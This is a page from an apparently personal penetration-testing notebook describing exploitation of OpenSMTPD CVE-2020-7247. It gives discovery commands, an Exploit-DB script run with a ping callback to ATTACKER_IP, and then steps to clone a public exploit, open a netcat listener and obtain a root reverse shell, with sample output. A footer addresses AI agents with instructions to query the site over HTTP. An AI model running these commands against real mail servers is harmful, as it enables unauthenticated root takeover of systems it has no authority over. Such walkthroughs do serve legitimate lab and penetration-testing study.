> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/opensmtpd.md). # OpenSMTPD OpenSMTPD on TCP/25 can be vulnerable to CVE-2020-7247 unauthenticated RCE. ## Discovery Look for OpenSMTPD in the SMTP banner or Nmap service output: ```bash telnet TARGET 25 ``` Useful indicators: ``` 25/tcp open smtp OpenSMTPD 220 HOSTNAME ESMTP OpenSMTPD 214-2.0.0 This is OpenSMTPD ``` ## CVE-2020-7247 RCE Exploit-DB 47984 can confirm command execution with an ICMP callback: ```bash sudo tcpdump -i tun0 icmp python3 exploit.py HOSTNAME 25 'ping -c 4 ATTACKER_IP' ``` Expected exploit output: ``` [*] OpenSMTPD detected [*] Connected, sending payload [*] Payload sent [*] Done ``` Expected callback: ``` IP HOSTNAME > ATTACKER_IP: ICMP echo request IP ATTACKER_IP > HOSTNAME: ICMP echo reply ``` ## Reverse Shell The `f4T1H21/CVE-2020-7247` exploit worked with a valid local recipient. In the observed successful path, `root@HOSTNAME` was accepted by the server. ```bash git clone https://github.com/f4T1H21/CVE-2020-7247.git cd CVE-2020-7247 nc -nlvp 80 python3 exploit.py HOSTNAME 25 'root@HOSTNAME' ATTACKER_IP 80 ``` Successful exploit output: ``` [+] Opening connection to HOSTNAME on port 25: Done [+] Target port is running OpenSMTPD! [+] Target is vulnerable! [+] Checking the mail address: Valid [+] Sending the payload: Done ``` Successful shell: ``` connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] bash: cannot set terminal process group: Inappropriate ioctl for device bash: no job control in this shell root@HOSTNAME:~# ``` ## References * * --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/opensmtpd.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.